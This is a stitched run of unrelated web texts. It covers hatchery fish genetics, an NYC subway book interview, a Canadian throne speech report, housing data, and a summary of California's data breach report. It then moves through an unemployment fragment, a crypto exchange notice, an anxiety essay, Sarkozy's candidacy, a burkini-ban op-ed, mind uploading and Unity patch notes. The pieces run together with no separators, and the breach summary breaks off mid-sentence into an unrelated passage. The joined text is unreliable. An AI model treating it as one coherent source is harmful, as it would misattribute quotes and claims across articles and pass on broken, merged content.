This research was conducted at Oregon State University in collaboration with the Oregon Department of Fisheries and Wildlife. Scientists say the findings essentially close the case on whether or not wild and hatchery fish can be genetically different.
Differences in survival and reproductive success between hatchery and wild fish have long offered evidence of rapid adaptation to the hatchery environment. This new DNA evidence directly measured the activity of all genes in the offspring of hatchery and wild fish. It conclusively demonstrates that the genetic differences between hatchery and wild fish are large in scale and fully heritable.
"A fish hatchery is a very artificial environment that causes strong natural selection pressures," said Michael Blouin, a professor of integrative biology in the OSU College of Science. "A concrete box with 50,000 other fish all crowded together and fed pellet food is clearly a lot different than an open stream."
It's not clear exactly what traits are being selected for, but the study was able to identify some genetic changes that may explain how the fish are responding to the novel environment in the hatchery.
"We observed that a large number of genes were involved in pathways related to wound healing, immunity, and metabolism, and this is consistent with the idea that the earliest stages of domestication may involve adapting to highly crowded conditions," said Mark Christie, lead author of the study.
Aside from crowding, which is common in the hatchery, injuries also happen more often and disease can be more prevalent.
The genetic changes are substantial and rapid, the study found. It's literally a process of evolution at work, but in this case it does not take multiple generations or long periods of time.
"We expected hatcheries to have a genetic impact," Blouin said. "However, the large amount of change we observed at the DNA level was really amazing. This was a surprising result."
With the question put to rest of whether hatchery fish are different, Blouin said, it may now be possible to determine exactly how they are different, and work to address that problem. When the genetic changes that occur in a hatchery environment are better understood, it could be possible to change the way fish are raised in order to produce hatchery fish that are more like wild fish. This research is a first step in that direction.
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This work was performed using steelhead trout from the Hood River in Oregon. It was supported by the Bonneville Power Administration and the Oregon Department of Fish and Wildlife.Author and transit expert Oscar Israelowitz knows a thing or two about the New York City transit system, and in his latest book, Secrets of the New York City Subways, he delves deep into the secrets of the MTA's 469 subway stations, discussing their historical significance, artworks, and people behind many of the various stations' designs, with some prominent names like the Guastavino brothers, Roy Lichtenstein, Heins & LaFarge, and more.
Digging into the history of each and every subway station is no easy feat and requires years of research and dedication, prompting one to wonder why would anybody take on such a monster of a project. Well, we caught up with Israelowitz and spoke to him about his inspiration for the book while convincing him to share a secret or two from Secrets of the New York City Subways.
What prompted you to want to explore the significance of the MTA’s 469 subway stations?
Back in 1972, I took various art classes at Cooper Union School of Architecture. One class dealt with projects dealing with Color-Aid paper. My eyes became very sensitized. When I went home after school in the subways, I started seeing the wall decorations which were truly dazzling. I think it was then that I became interested in the artworks of the NYC subway system. In a class with art historian and then-Whitney Museum of American Art director, David Hupert, it was suggested that instead of writing a term paper, I work on an exhibition for the Whitney Museum about art in the subway. We ultimately assembled a beautiful exhibit called "Watch the Closing Doors—Mosaics of the NYC Subways." The exhibit traveled to the Brooklyn Museum and part of it ended up at the newly-opened New York Transit Museum in Downtown Brooklyn.
Then there were several books published about the New York City Subways. In 1989, I published Guide to the NYC Subways. That was followed by New York City Subways in Vintage Photographs, which was co-authored with my partner, Brian Merlis. It was a history of the original elevated lines. Secrets of the New York City Subways is a synthesis of both original books and contains an enormous amount of new information. It features a station-by-station history and guide of ALL of the subway stations.
How significant of a role does artwork from prominent artists play in shaping various stations over time?
People were originally afraid to go into the original subway of 1904. It was dark, dirty, and almost like going into hell. When Belmont allocated $500,000 to "beautify" the first subway lines, he hired the firms of Heins & LaFarge to decorate the station walls. They used marble, terra cotta, glass mosaics and bas reliefs to enhance each station. You can actually follow the first subway line vis-à-vis the Beaux-Arts designs, starting with the first line at the original City Hall station. It was decorated with Guastavino arched ceilings, chandeliers, and stained-glass curved skylights. That station can be viewed if you stay on the southbound 6 train at Brooklyn-Bridge-City Hall (it's the last stop but you can stay on and ride it to the uptown track unless an MTA official says otherwise).
Some of the designs featured along the first subway line include a fishing sloop at South Ferry, the "wall" at Wall Street, Robert Fulton’s "Clermont" at Fulton Street, a beaver at Astor Place, and an American Bald Eagle at 33rd Street. The second phase of construction of the subways occurred in the 1910s and brought radically different station wall finishes and more abstract artwork from artists like Jay Van Everen, Squire Vickers and Herbert Dole. In more recent years, the MTA has commissioned world-renowned artists that include Roy Lichtenstein, Philip Johnson, Faith Ringgold, and more to enhance the subway station walls.
Do you have a station that is your favorite? If so, which one and why?
One exciting station is actually a major transfer point in Brooklyn. The Broadway Junction station was once a transfer point for the Broadway and Lexington Avenue Els in Brooklyn, the Fulton Street El, and the Canarsie Line, all part of the original Brooklyn Rapid Transit—a private rail company.
Are there any secrets that are currently hidden in plain sight?
There are two great stations along the Brighton line, now known today as the Q train. The Avenue H station on the Manhattan-bound side has a very unique free-standing station house. It was originally designed as the Fiske Terrace Real Estate office around 1907. There is a beautiful art installation designed by Edward Kopel called "Brooklyn Bucolic" where there's stationary rocking chairs of all sizes sitting outside of the station house.
Another strange "secret" on this Brighton line is the Neck Road stone. On the Manhattan-bound station are a set of concrete stairs that have been blocked-off to the general public. This subway line was once part of the Long Island Rail Road. There were two additional tracks running parallel to the four tracks on the Brighton line (on the east side of the station). There was a spur going out to the Sheepshead Bay Race Track. I found this great book which featured aerial photos of the entire New York City. It dates from 1924. So, in 1924, if you were flying over this station, you can see the Brighton line and the rail spur along with the actual Sheepshead Bay Race Track! Secrets of the NYC Subway has this and twelve additional aerial photographs dating back to 1924.
In addition to highlighting the artworks of the subway, Israelowitz also highlights the the various landmarks, historical districts, and other significant neighborhood markings for the subway stations that he elaborates on. Secrets of the NYC Subways is riddled with who-knew facts making for an interesting and educational read. It can be purchased at the New York Transit Museum store.
Interview has been condensed and edited.OTTAWA – Stephen Harper’s Conservatives have kicked off their austerity agenda for Canada with plans to freeze government spending, cut red tape and invite foreign investment. MPs returned to Ottawa Wednesday after their extended Christmas hiatus, welcomed back with a throne speech filled with symbolic touchstones and familiar Conservative themes but grounded by the reality of a $56-billion deficit.
Governor General Michaelle Jean smiles at her husband Jean-Daniel Lafond as Prime Minister Stephen Harper looks around the Senate prior to the Speech from the Throne in Ottawa. ( Fred Chartrand / THE CANADIAN PRESS )
With that red ink in mind, the Conservatives used the speech to signal the start of what promises to be a years-long assault on the deficit. In a move that could have broad implications for government operations, the Conservatives announced they will freeze the operating budgets of federal departments. That includes the “total spent on salaries, administration and overhead,” according to the speech. As well, all departmental spending in Ottawa will be “aggressively” reviewed to find savings.
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And the Conservative government says it intends to “lead by example” as it proposes freezing the salaries of the Prime Minister, cabinet ministers, MPs and Senators, a move that promises little more than symbolic savings. The Prime Minister now makes $315,462 and MPs take home $157,731. Cabinet ministers make $233,247. “Canadians live within their means and expect their governments to do the same,” the speech said. A government official had no timetable for the moves, although details could come in Thursday’s budget. The speech marks the return of Parliament after Harper’s controversial move in December to prorogue proceedings, saying he needed time to “recalibrate.” The speechwriters who penned Wednesday’s document tried to show that the Conservatives made good use of their break, filling it with a variety of promises ranging from a national seniors’ day to a program to combat childhood injuries and a Prime Minister’s award for Volunteerism.
But some observers noted that the speech uses the word “continue” 30 times, highlighting the fact that the Conservatives will be just as busy reviving old initiatives as creating new ones. “We shut down Parliament for this? This is recalibration? Looks more like regurgitation to me,” Liberal Leader Michael Ignatieff said.
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He branded the speech a “sorry collection of all the old stuff they’ve been offering us for four years. This is the work of a tired government.” Ignatieff said the Liberals would announce Thursday whether they will move to amend the speech or vote against it but also suggested he’s in no rush to bring down the minority government. “I don’t hear anyone screaming for an election,” he said. NDP Leader Jack Layton said the speech fell short on issues such as job creation and climate change. And he faulted the government for moving ahead with corporate tax cuts at the expense of people hit by the downturn. “We’ve emphasized (that) seniors in particular, people who are out of work, get the help that they need,” Layton said. MPs and Senators gathered in the ornate Senate chamber to listen as Governor General Michaelle Jean read the speech, dotted with patriotic talk and feel-good initiatives. But its focus was the economy, as the Conservatives patted themselves on the back for the recession-fighting moves made so far, while cautioning that Canada was not out of the woods. “Even as confidence returns to our economy, it would be a mistake to declare that the recession is completely behind us. Too many Canadians still find themselves out of work and events beyond our borders could yet threaten a fragile recovery.” The main economic theme remains the government’s intention to roll out $19 billion in extra spending this year as it completes the second part of the $46-billion economic bailout plan introduced in the last budget in Jan. 2009. “Job creation and job protection” will continue to be a prime government focus, the speech said. To bolster the employment picture, the government promises to continue rolling out urban renewal projects and to work with provincial governments to ensure that the projects are completed over the coming year “when the stimulus is most needed.” Nationally, nearly 16,000 infrastructure projects funded in part by the federal government’s economic stimulus cash are under way. In a major economic policy move, the government also announced that to help Canada develop a modern, competitive economy it will open the door to more foreign investment in the satellite and telecommunications industries. And it will ease regulations barring foreign investment in Canada’s uranium mining industry. The government also pledged to provide enhanced support for research, skills training and advanced education as part of its effort to put Canada at the forefront of the “digital economy.” Law-and-order, another favourite Conservative theme, also dominated the document as the government spelled out plans to revive several criminal justice bills stalled because of prorogation, including tougher drug sentencing, youth criminal justice sentencing and organized crime measures. But it promised a number of new measures, including action to address unsolved cases of murdered and missing aboriginal woman and more modern “judicial tools” to “fight terrorism and organized crime.” The government also promised to give murder victims’ families access to special unemployment benefits, as well as giving federally-regulated employees the right to unpaid leave if they or their families are victimized by crime. Again, the government promised to make mandatory the option of judges’ applying a victim surcharge to convicted offenders.
Read more about:Today's existing home sales report from the National Association of Realtors was encouraging in sales and prices, but not so much in inventories. The Realtors reported a boost in raw inventory, although the quicker sales pace pushed the month's supply number lower (8 months from 8.5).
But the Realtors don't count the shadow inventory of foreclosed properties, which we know are out there in increasing numbers right now. Also not mentioned was the FHA increasing its upfront premium April 5. Some analysts believe that people were rushing to get in on FHA loans, and that, along with the tax credit may be artificially raising the numbers now.
But then again, what's artificial in today's housing market? All the numbers are so deranged right now. Even the exalted S&P/Case-Shiller Home Price Index folks—who had been pushed to report monthly price numbers with seasonal adjustments, even though year over year is far more accurate—put out a note this week saying that even their monthly seasonal adjustments were no good.
After reviewing the data, the S&P/Case-Shiller Home Price Index Committee believes that for the present time, the unadjusted series is a more reliable indicator of U.S. housing trends than the seasonally adjusted series.
Therefore, the committee suggests that reports "should focus on the year-over-year changes in U.S. home prices where seasonal shifts are not a factor, and if monthly changes are considered, that the unadjusted series should be used.”
The trouble is that government stimulus coupled with an unusual mix of buyers in the marketplace are skewing all comparisons. Home sales are increasing on both the low and the higher end of the market.
I'm just not sure what exactly I'm supposed to compare today's housing market to.
Questions? Comments? RealtyCheck@cnbc.comOn October 28, 2014, Attorney General Kamala Harris released the second annual California Data Breach Report. The report detailed the nature and scope of data breach notifications that her office received in 2013. Her office has been analyzing notifications of data breaches since 2012, when S.B. 24 amended the state’s data breach notification law to require organizations to submit copies of their breach notifications to the Attorney General in any case in which the breach affects more than 500 California residents. Notably, two of the five recommendations made by the Attorney General in last year’s report have already been signed into law. This year the Attorney General issued 12 recommendations to companies in various industries, and to the legislature, as to how to improve data security practices and better protect California consumers.
The following is a summary of the report’s key findings and the Attorney General’s recommendations based on those findings.
Findings
Number of Data Breaches
The report notes that the Attorney General’s office received 167 data breach notifications in 2013, a 28 percent increase from 2012. The reported data breaches involved 18.5 million records of California residents, a 600 percent increase in the number of Californians whose records were affected. However, the report points out that a large portion of this increase is due to two massive retailer breaches, including the Target breach – which by itself affected 41 million customers, including 7.5 million Californians.
If these two massive retailer breaches are separated from the rest of the data, the report notes that “the number of records affected would have been [only] 3.5 million, a 35 percent increase over 2012.” These retailer breaches also account for the significant disparity between the average number of affected records in a breach and the noticeably lower median, 211,946 and 2,600, respectively.
Removing the two massive retailer breaches, the report notes that the types of data breaches and the data breaches by industry have remained “fairly consistent” over the past two years.
Types of Data Breaches
The 167 reported data breaches in 2013 were classified into four types: (1) Malware and Hacking, (2) Physical Theft and Loss, (3) Errors, and (4) Misuse. Slightly more than half of all breaches in 2013 were caused by computer intrusions classified as malware and hacking. Physical Theft and Loss accounted for 26 percent of all breaches; Unintentional Errors accounted for 18 percent of breaches; and Misuse by insiders accounted for four percent of breaches. Although the California data breach notification law only requires notification when “computerized data” is at issue, 24 reported breaches involved paper records, which accounted for eight percent of all breaches. The distribution of breaches was roughly similar to the distribution of breaches in 2012.
Social security numbers were involved in almost half of all data breaches in 2013, making it “the most frequently compromised data type.” Given the relative value of Social Security numbers to criminals, the relative frequency is not surprising. According to the report, the average out-of-pocket costs “to a consumer who falls victim to the fraudulent use of a credit card account is $63, debit card $170, checking account $222 and Social Security number $289.”
Data Breaches by Industry
Data breaches by industry are divided into those reported by sector: retail, finance and insurance, healthcare, professional services; government, hospitality, education, and all others.
The retail industry reported 43 breaches, the largest number of breaches with 26 percent of the total. These breaches involved 15.4 million records, or 84 percent of the total in 2013. However, the two outlier |
eling ashamed or embarrassed" or "strain in family relations" for those for whom a loss of a job had had devastating financial consequences. As one reader wrote to The Atlantic in 2011, "I look at my peers who are getting married and having children and generally living life and it's depressing. They've got jobs, health insurance, relationships, homes; I don't even have a real bed to sleep on."
Would hanging out with friends and family be very appealing under such circumstances? Not to me, at least. From there, it's a pretty direct line to isolation, depression, the toll those will have on a job search, to more isolation, more depression, and on and on and on.
It gets worse: Crabtree notes a recent study that many people who find work after long periods of unemployment lose their new jobs within the year. Perhaps, he theorizes, their depression is causing them to miss work, and their employers aren't interested in waiting around for them to recover.Coinut, a bitcoin options exchange owned by COINUT PTE. LTD., a Singapore company, backed by BoostVC and Bitmain Technologies has made some surprising news stating they will be launching a new exchange in the coming future (no details on when).
In light of that news, the company says there will be no liquidity provided in the current exchange.
The current order books on the exchange have been shut down while the company prepares for the relaunch.
Coinut is an exchange platform for bitcoin-based options. Users were able to trade trade either cash-or-nothing binary options or European vanilla options. However the platform never really took off compared to some other OTC crypto exchanges. Let’s hope they come back with a strong relaunch, having learned some lessons on the first iteration of the platform.
The Coinut team, led by Founder and CEO Xinxi Wang PhD was founded in 2013 and has gathered experts from computer science and finance to develop a secure and professional platform for people to trade bitcoin options and possibly other derivatives in the future.By: Derek Smart
Reprinted with permission
www.dereksmart.org
True fact: I myself battled various forms of anxiety for years. Even went on SSRIs (Paxil mostly) for several years. Didn’t like the side effects. Then one day, many years ago, I quit cold turkey. Just like that.
There was a point where I couldn’t even leave the house without having that nagging “Did I leave the stove on?” feeling. Or walking into a room full of people, panicking and going home. My wife came to expect it, so social gatherings were particularly brutal. Going to industry trade shows? Heh, that was a challenge to say the least. Without drugs, I’d never do it.
Since I had carefully crafted a career that allowed me to work from the confines of my home, I was able to deal with and control it the best I could. I remember one time, back in the late eighties, my then employer had sent me to a Novell (if you reading this were/are in IT and know who that is, you’re as old as you think you are) training because they wanted me to spearhead the installation of networks at the Qantas airlines office in London. Training was supposed to take all day. I didn’t last thirty minutes. I left.
And that’s when I knew – without a doubt – that something was definitely wrong.
The next day, I walked into my boss’s office and much to his chagrin, quit my job. A top paying job that, back in the day where very few had a handle on computers, let alone the IT field. I couldn’t even give him the real reason because the last thing that I wanted him to think was that I was on drugs (something that I’ve never dabbled in) or something. I simply told him that I needed a part-time gig because juggling a full-time job while pursuing a degree was too much to handle.
My next course of action was to sign up with a contracting agency (CompuWorld, I think they were called) in central London so that I could pick and chose what jobs I could take and when I could go on site. My first gig was at an IBM shop where I met another engineer whose brother apparently had ADHD (I forget what it was called back in the day). We bonded; the rest is history.
Even when I chose to pursue graduate degrees, the trek was as debilitating as you could possibly imagine. Lucky for me, the advent of the Internet and online degree programs were upon us, so that spared me some of the agony of doing the daily trek; though I still had to do it on occasion.
For almost twenty years after coming to terms with it, I lived with it. Never went to the doctor, let alone took medication. It wasn’t until I returned to the US many years later and a life event happened, that I stepped foot into a doctor’s office.
On my very first visit, I left with a prescription. Go figure.
As I look back, I think the primary reason that I stuck with my current gaming career, even though I had a false start with my first game back in 1996 and could have quit, was because I really didn’t think that I could have a life, let alone make a decent living, if I had to actually go out into the world to do it. Which is why, I am probably one of very – very – few successful industry veterans who has never worked for any company in our business. Ever.
I knew something was wrong with me and that it fell on me to make the life choices which would shape my life; and in doing so, I had to fashion a lifestyle that would allow me to cope with anxiety.
To this day, I still have an on-going battle with it, but martial arts (I have trained since I was in high-school, over a lifetime ago), meditation, breathing exercises and herbal remedies have made all the difference. I don’t envision ever taking meds again.
For some people, the impulse and effects are insurmountable, which makes medication the only recourse.
Nobody ever got cured by reading a book. You can only learn more about what you’re going through and gain an insight into how to combat and treat it.
Mental illnesses, especially anxiety-related ones, affect a lot more people than society realizes. Not to mention the fact that the stigma associated with same, results in people not realizing nor acknowledging just how widespread it really is. Most would rather admit to smoking pot, breaking a leg, having the flu, being gay, etc. than admitting to having a mental illness of any sort. It’s a decision thing borne of society’s ignorance and stigma-induced rhetoric.
And the aforementioned denial is what usually leads to misdiagnosis, suicides and the like.
Then there’s misdiagnosis because our society is one in which most doctors are quick to give you a prescription than fully investigate the symptoms. Which is primarily the reason that kids are more often than not, improperly diagnosed with ADHD and similar.
Education is key. If you know what exactly is going on in your head and body, you can help yourself – and your doctor – combat it. Denial and ignorance are not an option.Sarkozy made the announcement on Monday in an extract of his new book called "Everything for France," to be published later this week.
"I have decided to be a candidate for the 2017 presidential election. I felt I had the strength to lead this battle at a troubled time in our history," the president between 2007 and 2012 wrote.
The 61-year-old will have to win his opposition Republican Party's nomination in November primaries to go on the 2017 ballot. He will face competition from a dozen other contenders, including former prime minister Alain Juppe, who is currently ahead in the polls.
Sarkozy's campaign is expected to center around immigration and security at a time when the country faces the threat of further terror attacks, and there is a renewed debate over the place of Islam in society.
"The next five years will be filled with danger but also with hope," he said.
Tapping into discontent among the right, he has issued scathing criticism of Socialist President Francois Hollande over his handling of immigration and security. Hollande, whose approval ratings have dipped into the teens, has not said whether he will seek another term.
Watch video 02:11 Share Burkinis are banned on three french beaches Send Facebook google+ Whatsapp Tumblr linkedin stumble Digg reddit Newsvine Permalink https://p.dw.com/p/1JjGq Burkinis are banned on three french beaches
The "top battle" for France was over how "to defend our lifestyle without being tempted to cut ourselves off from the rest of the world," said Sarkozy, naming five key challenges facing France.
Republicans will have to fend off the far-right National Front leader Marine Le Pen, who places among the top presidential candidates in opinion polls.
Sarkozy lost to Socialist Francois Hollande in 2012 after his first term.
He was able to make a political comeback 2014, securing the leadership of the UMP conservative party. The party has since changed its name to the Republicans.
cw/jil (AFP, AP, Reuters)We Will Force You To Be Free
One obvious, but rarely mentioned, fact about law is that it means nothing except in its enforcement. A law that only exists on paper might as well not exist at all. Thus when the public demands a new law, it is asking for new law enforcement as well. Often, a law that sounds wise and principled in its conception (e.g. banning handguns), may look far better on paper than it does in the actual process of enforcing it (e.g. imprisoning poor black men on gun charges) After all, to “ban” something does not simply make it disappear, as by magic wand, but rather grants the government the power to inflict punishment on people who violate the ban.
Thus when some French resort towns banned the “burkini,” a wetsuit-like garment worn by some Muslim women, burkinis did not simply vanish from the country’s beaches. Instead, the ordinances produced the inevitable event that occurred this week in Nice: uniformed police officers gathered around a Muslim woman and demanded that she strip her clothing off in front of them. However reasonable a “ban” may sound at the abstract level, in its actual consequences (“having the police force women to take clothes off”) it may be far more extreme.
Critics have charged that the burkini ban is simply Islamophobia on the part of French authorities. French secularists, however, would insist that banning a particular clothing item, which they feel harms women (and which creates an ill-defined “public safety” concern) is distinct from banning a religion.
But when we look at the the necessity of enforcement, we see that it’s factually impossible for the process of applying the law not to involve a religious test. That’s because the burkini can’t be readily distinguished, in any principled way, from an ordinary wetsuit. Whether a woman’s full-body swimwear is a wetsuit or a “burkini” therefore depends entirely on how it is intended to be worn, rather than what parts of a person’s body are being covered up. The French towns are not, in fact, banning particular items or actions (like covering your arms), unless they would likewise enforce a universal wetsuit ban. Instead, they are banning covering your arms for reasons of religion. Nobody can argue, then, that the ban targets particular behaviors rather than particular beliefs, since whether a certain form of covering is a “burkini” depends entirely on the belief of the wearer.
This makes the whole idea of even sustaining a ban ludicrous, because it requires French police to comb the beaches for wetsuit-wearers, and then determine whether the wetsuit is religious or nautical in origin. That means finding out whether the wearer is a Muslim. (Actually, if we’re being serious, it means finding out whether the wearer is a Muslim and whether she is wearing the covering for reasons of religious faith or water temperature.) The whole process cannot be anything but farcical.
The reality of enforcement also shows just how false the quasi-feminist defenses of the Muslim wetsuit ban are. French officials have insisted that Islamic dress constitutes the enslavement of women, and that religious body covering is incompatible with the French conception of women’s liberty. But it’s hard to reconcile a “female empowerment” defense with the reality of a law that involves quite literally policing women’s swimsuits. If it’s wrong to make women wear burkinis, it’s surely it’s just wrong to make them not wear burkinis, if the underlying principle is “women should be free of coercion.” (In fact, it’s obviously a far worse restriction, since requirements imposed by the state are far more coercive than those imposed by community convention.) And if someone believes that Islamic dress is a patriarchal form of oppression against women, then why are they using the police to harass the “victim” of that oppression (the woman upon whom the burkini is imposed), rather the perpetrator (the men who impose it)? Surely even on the theory that the burkini is enslavement, it makes little sense to harass and fine the enslaved person.
The French sometimes have an odd conception of freedom. As political scientist Corey Robin noted, the scene from the Nice beach evokes Rousseau’s notorious maxim that people will be “forced to be free.” From Robespierre to the burkini, the French conception of liberté has often seemed to entail very little actual liberty.
It’s unfair to blame an entire nation for a repressive policy. People are distinct from their governments, after all. But while we shouldn’t speak of “the French” as discriminatory and repressive, there are certain particular French people we can hold responsible. These include the dozen or so beachgoers that watched passively as the police surrounded and harassed the Muslim woman in Nice. (In fact, some of them did more than silently observe; they applauded the police and shouted ‘Go home’ at the woman, causing her daughter to burst into tears.) By making no effort whatsoever to support the woman, and gawking as the police made her display her arms, each of these people shamefully participated in a humiliating act of authoritarian bigotry.
The burkini ban is nonsensical in a hundred different ways. If one’s concern is, as the ban proponents say it is, with France’s national security, what purpose does it serve to have the police chase down Muslim women on beaches? Surely such a policy is more likely to enrage ISIS than to defeat them. And it’s certainly a small irony to see police in combat boots telling a barefooted woman that she is inappropriately dressed for walking on the beach.
Since all of its justifications collapse under a moment’s rational scrutiny, the bans cannot be made in good faith. Thus even someone disturbed by Islamic religious requirements for women’s body-coverings must conclude that it is prejudice, rather than principle, guiding France’s municipal governments. Far from freeing Muslim women from the tyranny of their own religion, the requirements are similar to the “self-deportation” proposals offered by American anti-immigrant activists: make it so impossible and miserable to live as a Muslim in France that all French Muslims must either cease to be Muslims or cease to live in France.
Anyone concerned with actual, rather than pretextual, feminism, can see how simple this issue is. As journalist Leigh Phillips noted, it’s very easy to be consistent in opposing both patriarchal religious practices and bigoted civil liberties restrictions: nobody should make a woman wear a burkini, and nobody should make a woman not wear a burkini. The consistent lover of liberty understands that Rousseau’s dictum is just as contradictory as it sounds; forced freedom isn’t freedom, because freedom is the absence of force. If feminism means anything, it means not surrounding women with police officers and demanding they take off their shirts. And once we get past vacuous abstractions about secular values and the national interest, there’s no way to see a wetsuit ban as anything other than a totalitarian absurdity.The concept of digital immortality might seem like the stuff of science fiction, but the idea of uploading one's mind is gaining traction in the real world. A number of philosophers, neuroscientists and futurists believe that a safe form of mind transfer will be possible one day. But is it a philosophical trap? Olivia Willis takes a look.
It sounds like an episode of Dr Who, but the possibility of emulating mental content has prompted a previously unthinkable question: could you really upload your mind?
'Today there are people who really think this idea is plausible, and that by means of technological developments, we will soon be capable to transfer our minds to a computer and therefore achieve some kind of immortality,' says Max Cappuccio, a philosopher of mind at United Arab Emirates University.
When I want to upload my mind to a computer, I’m not just interested in having a replica or a duplicate of my mind, but I want it to be exactly my mind that is transferring to the computer. Max Cappuccio, Philosopher
'This requires that our mind is compatible with a computational device... or at least offers some of the basic features that would allow it to be emulated by a computer.'
Setting aside the enormous technological issues, Cappuccio is struck by the philosophical questions—or rather, challenges—uploading the mind might pose.
'When I want to upload my mind to a computer, I'm not just interested in having a replica or a duplicate of my mind, but I want it to be exactly my mind that is transferring to the computer.
'Because of course that's my main interest, I want to become immortal.'
Cappuccio says that in order to achieve that goal, the hypothetical mind algorithm can't simply be qualitatively identical to the original, it must also be numerically identical—it must be 'one and the same' with the original.
'Now, there's a little problem with that,' says Cappuccio.
'In order to keep the numerical identity, we must deal with something that is individuated.'
The principle of individuation, as imagined by Aristotle, is a criterion which supposedly determines whether we can have more than one of any one thing, based its material qualities and contingencies.
According to the theory, nothing can have an individual identity—and therefore become numerically identical—unless it holds material qualities and properties.
'Let's say I'm thinking of Pythagoras' theorem, and then you are also thinking of Pythagoras' theorem. Is it one and the same, or just two tokens of the same type?' asks Cuppuccio.
'It's pretty much impossible to answer this question, because there's no way simply to tell whether abstract immaterial entities are one of the same, or two different things.'
According to Cappuccio, this same argument applies to algorithms, including the'mind upload' process.
'These [mental] operations are not real objects, they're relationships between objects, qualities or properties. But they're not real things in themselves,' says Cappuccio.
Cappuccio says it's a case of wanting to have our cake and eat it too.
'On the one hand, we are saying that minds are immaterial, and this is a requirement of mind upload because if minds were anything material, then basically we couldn't leave our body and gain what trans-humanists call this kind of liberation from the body.
'On the other hand, if we want to keep numerical identity, we must have something that preserves this principle of individuation. That is absolutely necessary, at least from the point of Aristotle, who says that nothing can be exactly one and the same unless it is something that is material.'
Here, Cappuccio highlights a blatant contradiction: we want our mind to be something that is free from material character, but at the same time we want it to be something that is individually identical to itself.
As Cappuccio sees it, the idea of the'mind upload' is classical Cartesianism, which says the mind is a non-physical substance wholly separate from the corporeal body.
'There is a sort of Cartesian dualism, in the sense that we are postulating that the mind is not just a function, but a substance that exists in itself and by itself independently of the body.'
This conception of mind runs into difficulties in the 21st century.
'If we want to provide a purely scientific account of the mind—our approach to be enlightened by the basic principles of cognitive science—then we have to endorse a naturalistic point of view,' points out Cappuccio. 'We cannot mix natural and supernatural entities, right?'
So is there a theory that can deal with the naturalism modern science points to?
Much work in recent years has been undertaken on the extended, embedded mind—the idea that what you think takes place within the confines of your skull is actually distributed more widely.
Cappuccio sees one particular branch of this new physical account as offering a better route to how things really are: radically enactive cognition (REC) theory. And it's implacably opposed to mind upload.
'I believe they are archenemies. They are two opposite points of view, and they exclude one another,' says Cappuccio.
'Mind upload essentially requires that our mind is comprised of content for representation. REC, on the other hand, asserts the opposite. REC says basic minds cannot have and don't need representational contents.'
Instead, Cappuccio says representational content belongs in socio-cultural and linguistic domains, because it is the product of human social practice and communication capability.
'It absolutely makes sense to talk about representations when we talk about a work of art, a story being narrated, a book, a novel and so on. That's a representation of our life. That's a specific place in which representations exist.'
But according to the REC theory, we cannot attribute these representational functions to the basic functioning of our brain like mind upload does.
The battle between the two theories is not just a thought experiment for idle moments. It has some major ramifications in one very important modern arena—the drive to create artificial intelligence.
'The root of intelligence is in … this immediate responsiveness and capability to adapt. And this adaptability cannot exist if you're not embodied, if you're not situated in real life contingencies,' says Cappuccio.
Luc Steels, one of the world's leading robotics researchers, is putting the theory to the test.
He's trying to get robots to talk to one another, and in the process is putting into practice the re-think Cappuccio entertains: the idea that the mind is perhaps not where we think it is.
He says it all began with some early work with two electronic tortoises called Elmer and Elsie, who were pitted against each other for scarce resources.
'One experiment that totally surprised me was that we started these robots with the same project. They had some way to know when to go to the charging station and whether they could do more work to learn about their environment to navigate around.'
In the beginning, the robots were doing everything according to their programming.
'And then at some point, we noticed that some of these robots became kind of masters of the other robots, in the sense that they worked much, much less … than these other robots, which were sort of enslaved to do more work.'
According to Steels, this division of labour and apparent social inequality was not part of the programming.
'Nevertheless, this kind of phenomenon emerged in this population,' he says.
The program's learning mechanism was'very simple', according to Steels, and the results indicate critical lessons about the significance of environmental factors.
'There was just one parameter … inside the program, which the robot itself can change, and so it is increasing or decreasing that parameter based on its experience with the environment.
'This, I think, is a major, important point,' says Steels.
'The complexity we see is not due to complexity in the brains of these robots, but is actually due to this interaction between simple behaviours, interaction with the environment and interaction with other robots.'
According to Steels, some earlier robotics studies were also motivated by a desire to understand the origins of complex behaviour.
But unlike previous experiments that focused on complexities arising from within the agents themselves, Steels was more interested in exploring how environmental factors shaped the robots behaviour.
'This is how I then came back to my interest in language and trying to understand how complex language could arise,' he says.
'Again, not by programming it, but by finding out what are the fundamental mechanisms that allow the emergence of language by interaction with others and interaction with the environment.'
Steels says that his research demonstrates that forms of language between robots can emerge through their interaction with the environment and with others.
'The social elements, in the sense of interacting with others, are absolutely crucial for the emergence of complexity in the conceptual domain and in the language domain.'
Above all, Steels believes embodiment is crucial to this process, and it's why he uses real robots in his research.
'You could do a lot with simulation … but actually the real challenge is to show that language is emerging out of embodied interactions between these agents,' says the researcher.
Steels points to space as an example of why embodiment is so important: the concepts of left and right and front and back only make sense when you have a real body and matching orientation.
'The sensory inputs that you get from your vision system and from the interaction with the environment are the foundation on which you build concepts. These concepts and therefore the language have to be grounded in the bodily interaction with the world,' says Steels.
In relation to the idea of a mind upload, the obvious question is whether it's possible to be ourselves if we are not incarnated.
'Can you imagine still being yourself if you abandoned completely all the [physical] properties and qualities that characterise you as yourself?' asks Max Cappuccio.
For his part, Luc Steels reckons he's onto the big one— just how it is that we come to be ourselves. In the process he's most likely proving the power of REC as a coherent explanation of what and where mind is.
'I don't tell this to the philosophers, but I'm attacking the same problems that they have been tackling, but doing it with another methodology.'
Mind upload Sunday 16 August 2015 Listen to the full discussion. More This [series episode segment] has image,
The simplest questions often have the most complex answers. The Philosopher's Zone is your guide through the strange thickets of logic, metaphysics and ethics.Unity Editor Download Assistant
Component Installers Windows
Component Installers Mac
We are happy to announce Unity 2017.1.1p4. The release notes and the corresponding issue tracker link for issues fixed in this release are as shown below.
As always, patch releases are recommended only for users affected by those bugs fixed in that patch.
Fixes
(945953) - Android: Fixed a shader compile error on devices not supporting GL_FRAGMENT_PRECISION_HIGH.
(938978) - Animation: Fixed animation events firing twice when using Animator manual update.
(930814) - Animation: Fixed a crash when spawning an Animator with a state machine that uses OnStateMachineEnter.
(935602, 944933) - Editor: Fixed an issue where LogAssert.Expect would ignore the the logtype when finding a satisfying event when running playmode and editmode tests..
(910845, 940838) - Editor: The generated TestResults.xml when running playmode and editmode tests is now updated to be in NUnit3 format.
(942253) - Editor: Crash on macOS when canceling undock of Hierarchy or Scene View has been fixed.
(921598) - Graphics: Fixed sprite mode to be not a blank when texture type was change via script.
(none) - Multiplayer: Force sync internal timers internal time after io thread resuming.
(930933) - Particles: Fixed a performance regression when using Size modules.
(889059, 947404) - Video: Fixed audio getting desynchronized from video after seek operations.
(946558) - Windows Standalone: Fixed an issue that would sometimes cause recursive player loop error.
